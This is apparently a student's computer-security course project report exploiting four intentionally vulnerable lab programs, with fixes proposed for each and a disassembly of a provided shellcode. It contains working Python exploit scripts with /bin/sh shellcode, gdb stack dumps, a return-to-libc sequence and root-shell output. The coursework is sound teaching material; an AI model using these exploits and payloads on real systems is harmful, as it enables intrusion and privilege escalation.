Security & Privacy in Computing

Project 1

By Sagar Wani (swani1@jhu.edu)
(Collaborated with Prashanth Venkateswaran – pvenkat7)

EXPLOITS

Vulnerable 1

1. Briefly describe the behavior of the program.

This program is designed to take the user input from the user in the form of command line arguments and copy the input into a buffer that is created in a function. Program is taking the command line user argument in the argv[] and passing the user argument to the launch function. In the function there are two variables, one if the buffer with size 256 bytes and another is the user argument. Strcpy function is used from string.h to facilitate the copy of user input into the buffer.

2. Identify and describe the vulnerability as well as its implications.

Strcpy itself is a dangerous function as it has no way of checking what the size of destination buffer is implicitly and there is no length parameter as well to specify the size of the destination buffer. As a result, attacker can take advantage of this weakness and overflow the buffer by copying the user argument that is larger than the size of buffer into it. Such overflows can be used to crash the application or corrupt other memory locations.

3. Discuss how your program or script would exploit the vulnerability and describe the structure of your attack.

```
import struct
padding="AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFF
FFFGGGGGGGGGGHHHHHHHHHHIIIIIIIIIIJJJJJJJJJJKKKKKKKKKKLLLLLLLLLLMMMMMM
MMMMNNNNNNNNNNOOOOOOOOOOPPPPPPPPPPQQQQQQQQQQRRRRRRRRRRSSSSSSSSS
STTTTTTTTTTUUUUUUUUUUVVVVVVVVVVWWWWWWWWWWXXXXXXXXXXYYYYYYYYYYZZZ
ZZZ"
fill="\x80\xf6\xff\xbf"*7
nopslide="\x90"*76
```

```
payload="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf
3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff
/bin/sh"
pad="\xbc\xf6\xff\xbf"*16
print padding+fill+nopslide+payload+pad
```

In my program, I have created a python script that exploits the vulnerability mentioned above for strcpy and overflows the buffer. The user argument provided by the python file contains padding characters that overflow the buffer just until reaching the return address. As shown in the below stack:

```
(gdb) run `python exploit1.py`
Starting program: /home/user/project/vulnerable1 `python exploit1.py`
0x8048452 <launch+30>:  leave
………..
0xbffff640:    0x58585858    0x58585858    0x59595959    0x59595959
0xbffff650:    0x5a5a5959    0x5a5a5a5a    0xbffff680    0xbffff680
0xbffff660:    0xbffff680    0xbffff680    0xbffff680    0xbffff680
0xbffff670:    0xbffff680    0x90909090    0x90909090    0x90909090
0xbffff680:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff690:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff6a0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff6b0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff6c0:    0x895e1feb    0xc0310876    0x89074688    0x0bb00c46
0xbffff6d0:    0x4e8df389    0x0c568d08    0xdb3180cd    0xcd40d889

esp        0xbffff550     0xbffff550
ebp        0xbffff658     0xbffff658
```

The EBP is pointing at the memory location 0xbffff658 followed by which we have overwritten the memory locations with our return address, i.e., 0xbffff680. The return address is overwritten by the exploit program variable fill and takes the program execution to the address 0xbffff680 where it is filled with large number of nopslides to make the attack surface bigger until it reaches the shellcode which is then executed and takes the user to the shell with root privileges as shown:

```
Breakpoint 1, 0x08048453 in launch (
    user_argument=0x90909090 <Address 0x90909090 out of bounds>) at vulnerable1.c:11
11      }
(gdb) c
Continuing.
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
```

```
sh-3.2# exit
exit
```

4. Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?

There can be a couple of fixes I would suggest to eliminate these kind of attacks. Firstly, strcpy function should never be used since it never checks the size of the destination buffer, instead a good option would be to use strncpy_s function which also adds the parameters to plant a check on the size of destination buffers and makes sure that the truncated strings would terminate with a null character. Another good way to proceed with the code is to implement input validation of the program variables that are being set by user. Secondly, the stack should never be executable which prevents execution of any malicious shellcode present in the memory. This technique is also called as Data Execution Prevention. Address randomization techniques are also available in most machines today that randomize the stack addresses for each of the functions to mitigate such attacks.

Vulnerable 2

1. Briefly describe the behavior of the program.

This program is also designed to take the user input from user in the command line argument and copy the input to the destination buffer. A user defined function strcpyn has been defined to copy the user user argument to the destination buffer with the help of for loop. However the for loop runs until I is equal to the size of destination & source buffer which was initialized from the value of zero. If this is looked upon carefully the for loop runs for an extra array element and should ideally have been less than the size of destination and the source buffers since the variable I was initialized as zero. As a result of this, it becomes possible to corrupt a byte of memory which is just below the buffer variable in the stack.

2. Identify and describe the vulnerability as well as its implications.

As discussed above, the vulnerability lies in the for loop which is incorrectly implemented and enables the user to copy an extra byte of data to a memory location which was not supposed to be overwritten. This raises a security loophole and is often referred to as off-by-one byte vulnerability. Such loopholes can be exploited to change the last byte of the memory location where the EBP is pointing to, thereby, making the new base pointer point to a fake stack frame that can be created inside the buffer itself. Once the stack frame changes to the one inside the buffer, return address can also be controlled by the attacker thereby taking the control of the program. It can have very serious implications resulting in the application crash and even hijack.

3. Discuss how your program or script would exploit the vulnerability and describe the structure of your attack.

```
import struct
start="\xb8"+"\xf6"+"\xff"+"\xbf"
padding="\x90"*122
```

```
shell="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
do="\x90"*1
address="\x64\xf6\xff\xbf"*21
zer0="\x00"
print start+padding+shell+do+address+zer0
```

I have developed a python script for this program that creates a fake stack frame in the buffer starting with padding nopslides followed by the shellcode, return address and “\x00” to overwrite the extra byte and change the EBP to be in the buffer. As shown in the below figure:

```
0xbffff604:   0x0804849c   0xbffff618   0x00000100   0xbffff90c
0xbffff614:   0x00000100   0x90909090   0x90909090   0x90909090
0xbffff624:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff634:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff644:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff654:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff664:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff674:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff684:   0x90909090   0x90909090   0x90909090   0x90909090
0xbffff694:   0x1feb9090   0x0876895e   0x4688c031   0x0c468907
0xbffff6a4:   0xf3890bb0   0x8d084e8d   0x80cd0c56   0xd889db31
0xbffff6b4:   0xe880cd40   0xffffffdc   0x6e69622f   0x9068732f
0xbffff6c4:   0xbffff664   0xbffff664   0xbffff664   0xbffff664
0xbffff6d4:   0xbffff664   0xbffff664   0xbffff664   0xbffff664
0xbffff6e4:   0xbffff664   0xbffff664   0xbffff664   0xbffff664
0xbffff6f4:   0xbffff664   0xbffff664   0xbffff664   0xbffff664
0xbffff704:   0xbffff664   0xbffff664   0xbffff664   0xbffff664
0xbffff714:   0xbffff664   0xbffff700   0x080484be   0xbffff90c

esp   0xbffff604   0xbffff604
ebp   0xbffff718   0xbffff718
```

The registers show the location of EBP as pointing to the memory location 0xbffff718 whose value is 0xbffff700. The least significant byte “00” is the one which was overwritten by the exploit. When the new EBP points to 0xbffff700, the nearby locations above and below it were completely filled by the return address 0xbffff664 where we want the program to return and start executing. The return address 0xbffff664 is filled with lots of nopslides to increase the attack surface as much as possible to make the script effective in most times. After the nopslides the execution returns to the shellcode injected and opens up a shell with root privileges as shown:

```
Breakpoint 1, 0x0804846e in strcpyn (
    destination=0xbffff90c '\220' <repeats 126 times>,
"▒\037^\211v\b1▒\210F\a\211F\f▒\v\211▒\215N\b\215V\f▒\2001▒\211▒@▒\200▒▒▒▒▒/bin/sh\220d
▒▒▒▒d▒▒▒▒d▒▒▒▒d▒▒▒▒d▒▒▒▒d▒▒▒▒d▒▒▒▒"...,
    destination_length=256,
    source=0xbffff748 "▒▒▒▒U\204▒@\205\004\b\200\203\004\b▒▒▒▒U\204▒\002",
    source_length=134513949) at vulnerable2.c:13
```

```
13      }
(gdb) c
Continuing.
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh-3.2#
```

4. Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?

Fixes to such loopholes in the programs can only be addressed by writing quality code checks and make sure there are no logic errors for the code sections involving the boundary conditions, e.g. for/other loops that execute even for a single extra time which is not needed. Stack Canaries can be deployed that will not allow overflowing of buffers but such techniques are also comprisable. So a good suggestion would be to deploy a couple of techniques and not just one, so that if one of them gets compromised, the attackers still has to go through a lot to hack you😉 Also, the techniques discussed in the previous question such as DEP, ASLR can also be deployed to prevent off-by-one byte vulnerabilities.

Vulnerable 3

1. Briefly describe the behavior of the program.

The given program takes the input from user as the command line arguments that starts with a number followed by a comma included string and makes sure that the string part of the input starts with a comma and the length of the string including the null character be always less than the product of size of structure & number of items. The structure here is being used to store the string part of the user input and the contents of memory location where the string is stored are copied to buffer using memcpy function with the constraint being the number of bytes to be copied from string to buffer would be the product of number of items and size of the structure. The size of structure here is 28 bytes and the buffer being array of structure has number of elements as 512. Hence total size of the buffer is 512*28 = 14,336.

2. Identify and describe the vulnerability as well as its implications.

To overflow the buffer successfully we need to write more than 512*28 bytes to the buffer which means the number of items has to be greater than 512. However, if the number of items increase 512 then the memcpy will never be executed. This means to successfully exploit the program the number of items has to be less than 512 and at the same time product of number of items and size of structure has to be greater than 512*28 which might not be possible in mathematics but surely possible in the world of computers 😉. What I was able to observe is if we provide a negative number large enough for the number input, it leads to integer overflow while taking the product of it with the size of structure here since the negative value becomes large enough to go outside the number range allocated and becomes a large positive number.

3. Discuss how your program or script would exploit the vulnerability and describe the structure of your attack.

```
items = "-306779999,"
nop1 = "\x90"*14328
returnx = "\xcc\x86\xfe\xbf"*4
nop2="\x90"*231
shell="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
paddingB = 'B'*80000
print items+nop1+returnx+nop2+shell+paddingB
```

I have created a python script that outputs the large negative integer number “-306779999” so that the product of number_of_items * sizeof(struct coordinates_t) becomes 94620. Once the product becomes larger than 14k this means that we can overflow a buffer of size 14k bytes with 94k bytes which means a huge corruption of other memory locations. While doing the couple of hit and trials to get the lowest possible positive number using the large negative number I was able to reach the below script:

```
user@box:/tmp$./vulnerable3 -306779999,`python -c "print 'A'*94621 + 'B'*1 + 'C'*1"`
```

In my exploit script, I have added 14k nopslides followed by 4 return addresses just to provide a nice attack surface again followed by 200 nopslides with shellcode and padded digits afterwards.
This is how the portion of stack top looks like:

```
0x8048513 <launch+63>:  ret
0xbffe867c:    0xbffe86cc    0x90909090    0x90909090    0x90909090
0xbffe868c:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffe869c:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffe86ac:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffe86bc:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffe86cc:    0x90909090    0x90909090    0x90909090    0x90909090
```

With the register values with:

```
esp    0xbffe867c    0xbffe867c
ebp    0xbffe86cc    0xbffe86cc
esi    0x8048640     134514240
edi    0x8048420     134513696
eip    0x8048513     0x8048513 <launch+63>
```

I was successfully able to overwrite the return address with the address 0xbfffe86cc where some nopslides are present followed by the shellcode that gives the root shell as shown:

```
Breakpoint 1, 0x08048513 in launch (cursor=0x90909090 <Address 0x90909090 out of bounds>,
    number_of_items=-1869574000) at vulnerable3.c:22
22      }
(gdb) c
Continuing.
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh-3.2#
```

4. Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?

Fixes to such loopholes must be having good checks on the variables declared in the program and assigning appropriate data types and ensuring they should not exceed a given value so as not to overflow. If the value of variable integers are going to be too long, we can assign a overflow flag for them in the program. It must also be noted to avoid using memcpy function to avoid getting the buffer sizes for wrong and instead memcpy_s should be used. Of course, every function/program will eventually be found with loopholes hence more than one mitigation techniques as discussed in the previous questions must be used to prevent such attacks at any cost.

Vulnerable 4

1. Briefly describe the behavior of the program.

The program takes a file from the user as the command line argument and takes dynamic input from the user in terms of request_buffer, MAX_REQUEST_LENGTH, stdin to read or write the same file. For example, if “r, 45” is provided then it will read the character on the 45th position and output its hex value on the screen. Similarly, if “w,45,ff” is provided as the input then it will overwrite the character at 45th position with the ascii value of hex digit ff. The keywords s is for save and quit and q for just quit the program.

2. Identify and describe the vulnerability as well as its implications.

The vulnerability lies in the program with the fact that even if the file offset provided exceeds the length of the file it still is able to read some hex characters and output it to the screen. When I checked in the gdb, I was able to confirm the values are nothing but the hex digits from the memory locations that are further present after the end of the file. The same concept attacker can use to read the exact return address that the function is returning to and use the write method to overwrite those values and make the function return to a fake stack present in the file that was provided as an command line input to the program. The file can contain the malicious shellcode which attacks wants to execute.

3. Discuss how your program or script would exploit the vulnerability and describe the structure of your attack.

```
nop="\x90"*50
shell="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
pad="AAAA"
print nop+shell+pad
```

I was able to create a file attack4 that is provided as an input to the program. The file contains the nopslides followed by the shellcode we need to execute. Although it has been mentioned in the assignment document that the stack is non-executable, I was able to exploit the program by overwriting the return address using the write function to the shellcode. However, after rebooting the machine this exploit seemed to work only in gdb and not in the shell.

As shown in the below snippet:

```
0x804883c <user_interaction+279>:    ret
0xbffff72c:  0x08048975  0xbffff740  0xbffff740  0x00000064
0xbffff73c:  0x00000000  0x90909090  0x90909090  0x90909090
0xbffff74c:  0x90909090  0x90909090  0x90909090  0x90909090
0xbffff75c:  0x90909090  0x90909090  0x90909090  0x90909090
0xbffff76c:  0x90909090  0x1feb9090  0x0876895e  0x4688c031
0xbffff77c:  0x0c468907  0xf3890bb0  0x8d084e8d  0x80cd0c56
0xbffff78c:  0xd889db31  0xe880cd40  0xffffffdc  0x6e69622f
0xbffff79c:  0x4168732f  0x0a414141  0xb7ffeff4  0x08048220
0xbffff7ac:  0xb7fff668  0x00000801  0x00000000  0xb7ff0000
0xbffff7bc:  0x0000048b  0x000081a4  0x00000001  0x00000064
0xbffff7cc:  0x00000000  0x00000064  0x00000000  0xbffff740
0xbffff7dc:  0xbffff7b0  0x00000064  0x00000000  0x59d731c5
0xbffff7ec:  0x00000000  0xbffff740  0xff0a0000  0x59d732e5
0xbffff7fc:  0xb7fd8ff4  0x08048b60  0x08048640  0xbffff848
0xbffff80c:  0xbffff75c  0x00000006  0x00000064  0x00000000

esp    0xbffff72c   0xbffff72c
ebp    0xbffff808   0xbffff808
```

The programs return address that was present at location 0xbffff80c was successfully overwritten with 0xbffff75c as shown:

```
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,204,5c
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,205,f7
```

```
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,206,ff
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,207,bf
```

following which I was able to get the shell as shown (only in the gdb after reboot):

```
Breakpoint 2, 0x0804883c in user_interaction (file_buffer=0x6 <Address 0x6 out of bounds>)
    at vulnerable4.c:52
52      }
(gdb) c
Continuing.
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
sh-3.2#
```

Here, I was also able to exploit the program using return-to-libc since it was mentioned that the stack is non-executable.

Firstly, the address of the system function needs to be extracted from the gdb using the below command:

```
(gdb) print system
$2 = {<text variable, no debug info>} 0xb7ebb7a0 <system>
```

Followed by which, I tried to find the libc location in the memory:

```
(gdb) info proc map
process 5087
cmdline = '/home/user/project/vulnerable4'
cwd = '/home/user/project'
exe = '/home/user/project/vulnerable4'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /home/user/project/vulnerable4
         0x8049000  0x804a000     0x1000          0        /home/user/project/vulnerable4
        0xb7e81000 0xb7e82000     0x1000 0xb7e81000
        0xb7e82000 0xb7fd7000   0x155000          0        /lib/i686/cmov/libc-2.7.so
        0xb7fd7000 0xb7fd8000     0x1000   0x155000        /lib/i686/cmov/libc-2.7.so
        0xb7fd8000 0xb7fda000     0x2000   0x156000        /lib/i686/cmov/libc-2.7.so
        0xb7fda000 0xb7fdd000     0x3000 0xb7fda000
        0xb7fdf000 0xb7fe3000     0x4000 0xb7fdf000
```

```
0xb7fe3000 0xb7fe4000     0x1000 0xb7fe3000           [vdso]
0xb7fe4000 0xb7ffe000    0x1a000          0       /lib/ld-2.7.so
0xb7ffe000 0xb8000000     0x2000    0x1a000       /lib/ld-2.7.so
0xbffeb000 0xc0000000    0x15000 0xbffeb000           [stack]
```

After this, I tried to search the offset of the string “/bin/sh” in the libc, which came out to be:

```
user@box:/tmp$ strings -a -t x /lib/i686/cmov/libc-2.7.so | grep "/bin/sh"
 13a613 /bin/sh
```

Once you add this offset value to the libc address, you can get the exact memory location where the argument “/bin/sh” is present as shown:

```
(gdb) x/s 0xb7e82000+0x13a613
0xb7fbc613:      "/bin/sh"
(gdb)
```

Once we have both the addresses in hand, i.e., the system function and the “/bin/sh” argument, we can exploit the application by overwriting the below memory addresses:

```
user@box:/tmp$./vulnerable4 exploit4
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,204,a0
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,205,b7
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,206,eb
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,207,b7
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,211,90
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,210,90
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,209,90
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,208,90
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,215,b7
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,214,fb
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,213,c6
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
w,212,13
(r)ead,[offset] or (w)rite,[offset],[value], (s)ave/quit or (q)uit:
s
exiting application
warning: write error
sh-3.2#
```

4. Suggest a fix for the vulnerability. How might you systematically eliminate vulnerabilities of this type?

The vulnerability in the program exists is the format string vulnerability. The %x in the printf statement can be used maliciously to access the unauthorized memory locations and reveal the return address. The printf used in the program must be used with extreme care. We must always specify the format string as the part of a program and not something which the user can control. If possible format string must be made constant thereby extracting all the variables from the statement. Mechanisms such as format guard must be used to minimize such exploitations. Most modern compiles can check the format strings at runtime and give out the warnings for the suspected potential danger zones, which must always be noted. If in case the user input is a must then proper input validation techniques must be deployed to prevent such exploits.

5. What is the value of the stack canary? How did you determine this value?

When the program is disassembled in the gdb, especially the launch function, following lines must be noted:

```
0x08048852 <launch+21>: mov    eax,gs:0x14
0x080489fe <launch+449>:       xor    eax,DWORD PTR gs:0x14
0x08048a05 <launch+456>:       je     0x8048a0c <launch+463>
0x08048a07 <launch+458>:       call   0x80485d4 <__stack_chk_fail@plt>

eax            0xff0a0000       -16121856
```

The first line takes the value from the TLS in the GS segment and puts it inside the EAX register. This is the canary which is used to check while exiting the launch function before return if it's value has been altered or not. Basically the xor here is checking if the value in EAX and GS segment location is still same or not. If it's same then XOR will output 0 and the flag would be set to 1. Else if the result isn't zero then the flag value is also set to 0. The je 0x8048a0c instruction checks the value of flag and executes __stack_chk_fail@plt if the value of flag is not 1. It can be easily determined by running the program in gdb and setting up a breakpoint at the mov instruction while copying the value from GS segment. The value comes out to be **0xff0a0000**. This is used to determine the buffer overflow attacks because usually in such while overflowing the variables, canary value also gets modified.

6. Does the value change between executions? Does the value change after rebooting your virtual machine?

The value does not change between the executions neither change after the reboot. (At least in my machine.)

```
0x80488b0 <launch+115>: and    ah,0xff
0xbffff7b0:     0x00000801      0x00000000      0xb7ff0000      0x0000048b
0xbffff7c0:     0x000081a4      0x00000001      0x00000064      0x00000000
0xbffff7d0:     0x00000064      0x00000000      0x08040000      0xbffff7b0
0xbffff7e0:     0x00000064      0x00000000      0x59d7ba1b      0x00000000
0xbffff7f0:     0x59d7a70c      0xff0a0000      0x59d7a70c      0xb7fd8ff4
0xbffff800:     0x08048b60      0x08048640      0xbffff848      0x08048b35
```

7. How does the stack canary contribute to the security of vulnerable4?

The stack canary as such did not contribute much to the security of the program in the context of exploits I have used but in general, canaries are used to protect the buffer overflow attacks as explained in the questions 5 befire performing the return the XOR is used to compare the values and if the flags are set to 1, only then the return is executed and program proceeds.

Shellcode Analysis

```
/** it's a mystery! **/
static char shellcode[] =
"\x31\xc9\xb9\x0e\x0f\x10\x21\x81\xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x0e\x55\x4c\x51\x81\xf1\x
21\x21\x21\x21\x51\x89\xe3\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xb1\x41\xb6\x01\xb2\xc0\xcd\x80\x8
9\xc3\x31\xc9\xb9\x44\x0f\x01\x2b\x81\xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x4c\x52\x49\x4e\x81\
xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x0d\x01\x46\x54\x81\xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x
01\x4b\x4e\x43\x81\xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x4f\x48\x42\x44\x81\xf1\x21\x21\x21\x21
\x51\x89\xe1\x31\xc0\xb0\x04\x31\xd2\xb2\x14\xcd\x80\x31\xc0\xb0\x06\x31\xdb\x31\xc0\xb0\x01\
xcd\x80";
```

I installed the SimpleASM package on my machine. It also comes with The Netwide Disassembler which can be used to disassemble the hex instructions provided to it in a file. To push them to the file below was used:

```
echo -ne
"\x31\xc9\xb9\x0e\x0f\x10\x21\x81\xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x0e\x55\x4c\x51\x81\xf1\x
21\x21\x21\x21\x51\x89\xe3\x31\xc0\x31\xc9\x31\xd2\xb0\x05\xb1\x41\xb6\x01\xb2\xc0\xcd\x80\x8
9\xc3\x31\xc9\xb9\x44\x0f\x01\x2b\x81\xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x4c\x52\x49\x4e\x81\
xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x0d\x01\x46\x54\x81\xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x
01\x4b\x4e\x43\x81\xf1\x21\x21\x21\x21\x51\x31\xc9\xb9\x4f\x48\x42\x44\x81\xf1\x21\x21\x21\x21
\x51\x89\xe1\x31\xc0\xb0\x04\x31\xd2\xb2\x14\xcd\x80\x31\xc0\xb0\x06\x31\xdb\x31\xc0\xb0\x01\
xcd\x80" > hex
```

Following this, just below command can be used to see the x86 assembly instructions for shellcode:

```
ndisasm -b32 hex
```

```
box:/home/user/project# ndisasm -b32 hex
00000000  31C9            xor ecx,ecx
00000002  B90E0F1021      mov ecx,0x21100f0e
00000007  81F121212121    xor ecx,0x21212121
0000000D  51              push ecx
0000000E  31C9            xor ecx,ecx
```

```
00000010  B90E554C51      mov ecx,0x514c550e
00000015  81F121212121    xor ecx,0x21212121
0000001B  51              push ecx
0000001C  89E3            mov ebx,esp
0000001E  31C0            xor eax,eax
00000020  31C9            xor ecx,ecx
00000022  31D2            xor edx,edx
00000024  B005            mov al,0x5
00000026  B141            mov cl,0x41
00000028  B601            mov dh,0x1
0000002A  B2C0            mov dl,0xc0
0000002C  CD80            int 0x80
0000002E  89C3            mov ebx,eax
00000030  31C9            xor ecx,ecx
00000032  B9440F012B      mov ecx,0x2b010f44
00000037  81F121212121    xor ecx,0x21212121
0000003D  51              push ecx
0000003E  31C9            xor ecx,ecx
00000040  B94C52494E      mov ecx,0x4e49524c
00000045  81F121212121    xor ecx,0x21212121
0000004B  51              push ecx
0000004C  31C9            xor ecx,ecx
0000004E  B90D014654      mov ecx,0x5446010d
00000053  81F121212121    xor ecx,0x21212121
00000059  51              push ecx
0000005A  31C9            xor ecx,ecx
0000005C  B9014B4E43      mov ecx,0x434e4b01
00000061  81F121212121    xor ecx,0x21212121
00000067  51              push ecx
00000068  31C9            xor ecx,ecx
0000006A  B94F484244      mov ecx,0x4442484f
0000006F  81F121212121    xor ecx,0x21212121
00000075  51              push ecx
00000076  89E1            mov ecx,esp
00000078  31C0            xor eax,eax
0000007A  B004            mov al,0x4
0000007C  31D2            xor edx,edx
0000007E  B214            mov dl,0x14
00000080  CD80            int 0x80
00000082  31C0            xor eax,eax
00000084  B006            mov al,0x6
```

```
00000086  31DB     xor ebx,ebx
00000088  31C0     xor eax,eax
0000008A  B001     mov al,0x1
0000008C  CD80     int 0x80
```

Summary:

The shellcode starts with making the value in ECX to zero by XOR'ing with itself. Following which value of ECX is set to 0x21100f0e which is then further XOR'ed with the value of 0x21212121 and then the result that is stored in ECX is pushed on to stack. The same process is repeated a couple of times and the results are always pushed on to the stack. Following which the sys_open command is used to open the file whose name is 0x706d742f which when converted to ascii comes to "/tmp" which can be confirmed by checking the value for EAX which is 0x5 where flag being "A". Following this, some of the ECX values were again pushed on to the stack. I am not very sure as to why the XOR is being done with 0x21212121 but one of the reason might be probably to change the non printable character set of shellcode to a ASCII set so as to make it printable. Here is the assembly code for the instructions that were encoded with 0x21212121 to make them presentable:

```
and DWORD PTR [eax],edx        ;press the ';' button to make a comment
femms
push ecx
dec esp
push ebp
push cs
sub eax,DWORD PTR [ecx]
cmove ecx,DWORD PTR [esi+0x49]
push edx
dec esp
push esp                       ;char c = src[i]
inc esi
add DWORD PTR ds:0x14b4e43,ecx
inc esp                        ;i++
inc edx
dec eax
dec edi                        ;while (c != 0)
```

These above instructions are encoded to a presentable format by XOR'ing them and then are written into the file that was open using sys_open. Followed by which the sys_close and sys_exit instructions are called and the shellcode execution ends. One more thing to note is, I did not actually found the interrupt for int 0x80 for the sys_close which I think should have been there to make this system call.

Another possibility which I think is, as per the following stack which looks like something:

0x00312e2f 0x706d742f 0xa202e65 0x6f68736d

0xbfff____: 0x00312e2f 0x706d742f 0xa202e65 0x6f68736d
0xbfff____: 0x7567202c 0x626f6a20 0x6563696e

The yellow is the file pointer which points to the location "/tmp" and then the values 0xa202e65 0x6f68736d 0x7567202c 0x626f6a20 0x6563696e are pushed in the file whose ascii values come out to be "nice job, gumshoe." which comes out to be "nice job, detective." 😊

Shellcode Relative Offset	Opcode	x86 Intel Instructions	Description
00000000	31C9	xor ecx,ecx	XOR will zero ECX value as XOR'ing with the same value always returns 0
00000002	B90E0F1021	mov ecx,0x21100f0e	Value of ECX is set to 0x21100f0e
00000007	81F121212121	xor ecx,0x21212121	Value of ECX is set to 0x00312e2f | 0x21100f0e is XOR'ed with 0x21212121 with result in ECX
0000000D	51	push ecx	Current value of ECX is pushed onto the stack which is 0x00312e2f
0000000E	31C9	xor ecx,ecx	XOR will zero ECX value as XOR'ing with the same value always returns 0
00000010	B90E554C51	mov ecx,0x514c550e	Value of ECX is set to 0x514c550e
00000015	81F121212121	xor ecx,0x21212121	Value of ECX is set to 0x706d742f | 0x514c550e is XOR'ed with 0x21212121 with result in ECX
0000001B	51	push ecx	Current value of ECX is pushed onto the stack which is 0x706d742f
0000001C	89E3	mov ebx,esp	Current value of the ESP which is a memory address is moved to EBX
0000001E	31C0	xor eax,eax	XOR will zero EAX value as XOR'ing with the same value always returns 0
00000020	31C9	xor ecx,ecx	XOR will zero ECX value as XOR'ing with the same value always returns 0
00000022	31D2	xor edx,edx	XOR will zero EDX value as XOR'ing with the same value always returns 0
00000024	B005	mov al,0x5	Move 0x5 in in the least significant bits of register AX.
00000026	B141	mov cl,0x41	Move 0x41 in in the least significant bits of register CX.

00000028	B601	mov dh,0x1	Move 0x1 in in the most significant bits of register DX.
0000002A	B2C0	mov dl,0xc0	Move 0xc0 in in the least significant bits of register DX.
0000002C	CD80	int 0x80	int 0x80 is used to invoke system calls in x86 linux. Here it is calling sys_open function
0000002E	89C3	mov ebx,eax	Moves the memory address that is stored in EAX to EBX
00000030	31C9	xor ecx,ecx	XOR will zero ECX value as XOR'ing with the same value always returns 0
00000032	B9440F012B	mov ecx,0x2b010f44	Value of ECX is set to 0x2b010f44
00000037	81F121212121	xor ecx,0x21212121	Value of ECX is set to 0x0a202e65 | 0x2b010f44 is XOR'ed with 0x21212121 with result in ECX
0000003D	51	push ecx	Current value of ECX is pushed onto the stack which is 0x0a202e65
0000003E	31C9	xor ecx,ecx	XOR will zero ECX value as XOR'ing with the same value always returns 0
